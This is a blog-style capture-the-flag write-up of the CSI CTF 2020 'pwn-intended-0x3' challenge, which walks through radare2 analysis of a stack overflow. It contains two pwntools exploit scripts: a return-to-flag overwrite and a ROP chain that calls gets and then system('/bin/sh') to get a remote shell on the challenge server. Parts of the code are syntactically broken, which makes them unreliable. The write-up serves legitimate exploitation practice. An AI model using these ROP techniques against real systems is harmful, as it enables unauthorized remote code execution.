CSI CTF 2020: pwn-intended-0x3 with Unnecessary Arbitrary RCE

A walkthrough of the pwn-intended-0x3 challenge. An exploit for the intended solution and an exploit for arbitrary code execution are provided.


I participate in Capture the Flag (CTF) events in a non-serious way in my free time. Unfortunately, I wasn’t able to play in the recent jeopardy-style CSI CTF–you can find more details about the event here–but I did get to do some interesting things with it after the fact.

After the CTF closed, I had a coworker ask me to check over his exploit for the pwn-intended-0x3 challenge to see what was going wrong and offer some pointers. As I was going through the provided exploit, it was so close to correct that I thought, “Surely he should have gotten the flag from trial and error. Maybe the challenge is actually harder than intended?”

To show you what I mean, in this blog post I will first provide a walk-through of the exploit and what turns out to be the intended solution, followed by showing you how I went beyond with arbitrary remote code execution (RCE).


This is an easy challenge, so you could just go straight to the disassembly of main and know just about everything. However, it’s usually best to start with a high level perspective before you get excited and start running after false paths.

I use radare2; the i command gives you all the good stuff you want to know early.

r2 shell
# r2 pwn-intended-0x3 
 ╭──╮    ╭──────────────────────────────╮
 │ _│_   │                              │
 │ O O  <  Unable to locate package gdb │
 │  │╷   │                              │
 │  ││   ╰──────────────────────────────╯
 │ ─╯│
[0x00401080]> i
fd       3
file     pwn-intended-0x3
size     0x4230
humansz  16.5K
mode     r-x
format   elf64
iorw     false
blksz    0x0
block    0x100
type     EXEC (Executable file)
arch     x86
baddr    0x400000
binsz    15084
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (GNU) 10.1.0
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
sanitiz  false
static   false
stripped false
subsys   linux
va       true

Protip: add e cfg.fortunes.clippy = true to ~/.radare2rc so clippy will encourage you when you start your reversing journey.

So, the file is a Linux ELF with 64 bit x86 instructions. The nx value tells us that the stack is non-executable. We can assume the system on which this is running has ASLR (added space layout randomization) but since pie is false, all the locations in the binary will be unchanged.

Let’s see what functions are used.

r2 shell
[0x00401166]> afl
0x00401166    1 104          main
0x00401040    1 6            sym.imp.setbuf
0x00401030    1 6            sym.imp.puts
0x00401060    1 6            sym.imp.gets
0x00401080    1 46           entry0
0x004010c0    4 33           sym.deregister_tm_clones
0x004010f0    4 57   -> 51   sym.register_tm_clones
0x00401130    3 33   -> 32   sym.__do_global_dtors_aux
0x00401160    1 6            entry.init0
0x00401270    1 5            sym.__libc_csu_fini
0x00401278    1 13           sym._fini
0x00401200    4 101          sym.__libc_csu_init
0x004010b0    1 5            sym._dl_relocate_static_pie
0x004011ce    1 38           sym.flag
0x00401050    1 6            sym.imp.system
0x00401070    1 6            sym.imp.exit
0x00401000    3 27           sym._init

Life is good! We have a reference to the libc functions gets and system. Surely the vulnerability is in gets and now we don’t need to leak the address of system or execve.

Also, notice the sym.flag function. There is no imp in the name, so it is not an imported function; it is in the binary itself. Let’s disassemble that.

[0x00401166]> pdf @sym.flag
┌ 38: sym.flag ();
│           0x004011ce      55             push rbp
│           0x004011cf      4889e5         mov rbp, rsp
│           0x004011d2      488d3d5f0e00.  lea rdi, str.Well__that_was_quick._Here_s_your_flag: ; 0x402038 ; "Well, that was quick. Here's your flag:"
│           0x004011d9      e852feffff     call sym.imp.puts           ; int puts(const char *s)
│           0x004011de      488d3d7b0e00.  lea rdi, str.cat_flag.txt   ; 0x402060 ; "cat flag.txt"
│           0x004011e5      e866feffff     call sym.imp.system         ; int system(const char *string)
│           0x004011ea      bf00000000     mov edi, 0
└           0x004011ef      e87cfeffff     call sym.imp.exit           ; void exit(int status)

No need for the Ghidra decompiler; this is super simple. The system function is called on the string “cat flag.txt”. If we get the instruction pointer anywhere near here, we should get the flag. We still haven't found the vulnerability, but surely it will be in the main function.

I will spare you the disassembly of main, it is also trivial. Really it just calls gets with a stack address. This is a basic stack overflow. We simply have to overwrite the return address at the bottom of the stack frame with sym.flag and we should get the flag.

The exploit

So, my buddy sent me his broken exploit. I checked it and everything seemed good. What? Why isn’t it working?

The exploit was in Python and already had the pwnlib imported. So I added a gdb.attach call to get a debugger before the exploit was sent. I continued in gdb until I was at the last instruction in main. Then I checked what was on the stack using a command like x/10gx $rsp-0x20. Turns out, my buddy missed his offset by 4 bytes.

Here is a working exploit.

#!/usr/bin/env python3
from pwn import *
addr = 0x004011ce # sym.flag
payload = 40 * b'A' + p64(addr)
r = process("pwn-intended-0x3")
# gdb.attach(r)
# r = remote('chall.csivit.com', 30013)
while True:
   except (KeyboardInterrupt, EOFError):

Off by 4

I do not mention this mistake to insult my friend. Anyone who has ever attempted a binary exploitation challenge will know the pain of being off by a few bytes. Anyone who has attempted a second challenge will know the pain again. Even experts in this will continue to make this mistake. If you are new to binary exploitation, don’t let this discourage you. Keep at it–you have a long road of pain ahead. :)

I have another reason for mentioning this, though…

Going beyond via foolish assumptions

While the exploit works on my system, will it work on the real CTF? I don’t know; the CTF was over, so the challenge server was likely down.

That raises a question, though: what if my exploit failed?

Maybe my buddy did get the offset correct at one time, but started moving it around because the exploit failed on the real server. Could sym.flag be a false path? If the server had the flag.txt file in a different directory, then cat flag.txt would fail. This challenge does appear very conducive to arbitrary code execution. Maybe there is even a secret extra flag or a pwn-intended-0x4 challenge where you need arbitrary code execution.

Turns out the answer to all these questions is no. However, since I did not know any better, I went ahead and got arbitrary remote code execution. Here is how I did it:

Arbitrary RCE exploit

The exploit above proves we can overwrite the return address with a call to system. Since gets is lax about NULL bytes, we can send a nearly arbitrarily long ROP chain. All we need is a ROP chain that calls system with “/bin/sh\x00” as the only parameter. 

Getting control of the parameter is easy. Linux 64 bit executables use the rdi register as the first parameter. Nearly every linux executable will have a pop rdi ROP gadget as part of the so calledBROP gadget. Radare2 can quickly find this location with the following command:

[0x0040125a]> "/R pop rdi"
  0x00401263                 5f  pop rdi
  0x00401264                 c3  ret

All we need now is an address to pop into rdi that will point to the 8 byte string “/bin/sh\x00”. This string will occur in libc, but libc will be at a random offset due to ASRL.

I don’t want to have to construct a leak primitive, so let's just shove the “/bin/sh\x00” string into a memory ourselves. This is easy because we have the gets function, which only accepts one parameter. We already found the gadget to control the parameter, so we need a memory location in the binary that has read/write permissions (use iS command in r2). I chose the space just after the stdout pointer.

The following exploit code is surprisingly straightforward and should be easy to follow. This will get arbitrary code execution on the challenge.

#!/usr/bin/env python3
from pwn import *

def poprdi(addr):
    buf = b''
    buf += p64(0x00401263)
    buf += p64(addr)
    return buf

addr = 0x004011ce # sym.flag
funcs = {
    "gets" : 0x00401060,
    "system": 0x00401050,
stdout = 0x404060
straddr = stdout +8

payload = 40 * b'A'
payload += poprdi(straddr)      # first parameter to gets points to any r/w address
payload += p64(funcs["gets"])   # return to `gets` to do the writing
payload += poprdi(straddr)      # first param to system is where we wrote "/bin/sh"
payload += p64(funcs["system"]) # call system("/bin/sh")

# r = process("pwn-intended-0x3")
# gdb.attach(r)
r = remote('chall.csivit.com', 30013)
info(r.recvline())      # recv banner
r.sendline(payload)     # send rop chain
r.sendline("/bin/sh")   # the return to `gets` means we can send "/bin/sh\n".
                        # The gets function is kind enough to replace "\n" with
                        # "\x00"
# here is your shell :)

Challenges are back up!

Turns out the challenge servers are up after everything is said and done. I’d guess this is a kindness to people like me who are writing things up. This means I can actually check if my exploit works on the real server and if the flag.txt file is really where it should be!

# ./exp.py 
[+] Opening connection to chall.csivit.com on port 30013: Done
[*] Welcome to csictf! Time to teleport again.
[*] Switching to interactive mode
$ ls
$ cat flag.txt

Yup… My buddy was just off by 4.


There are two big takeaways here. First, offsets are hard. You have to be perfect and it's really easy to commit off-by-one errors. There's a lot to keep in mind. Forbidden bytes, endianness, and architecture size. Don’t be discouraged; hacking is all about failing until you get it right. Consider it all debugger practice. Personally, I consider the ability to debug and correct such mistakes to be of much higher value than the ability to get it right on the first try.

The other lesson here is about proper programming practices. The use of the system function was lazy. I am not criticizing the real developer here. The developers intention here was to design something vulnerable, and they did a great job.

Now, of course, if the file was compiled with pie and stack cookies, as is default nowadays, this exploit likely would have been impossible. Just avoiding the system call through would have made the exploit quite a bit more difficult. If the flag file was just opened and read to stdout, we would not know the location of the system function. We would have had to use multiple ROP gadgets to leak addresses in libc, all the while keeping a program state that won't crash. Then, we would have to use the information we gained in a second stage ROP chain to execute our payload. Even little things like avoiding the system can go a long way toward frustrating attackers.

Hopefully, I showed how fun exploitation can be. It is like a puzzle, dividing the problems and then conquering them independently. Thanks for reading!

Close off Canvas Menu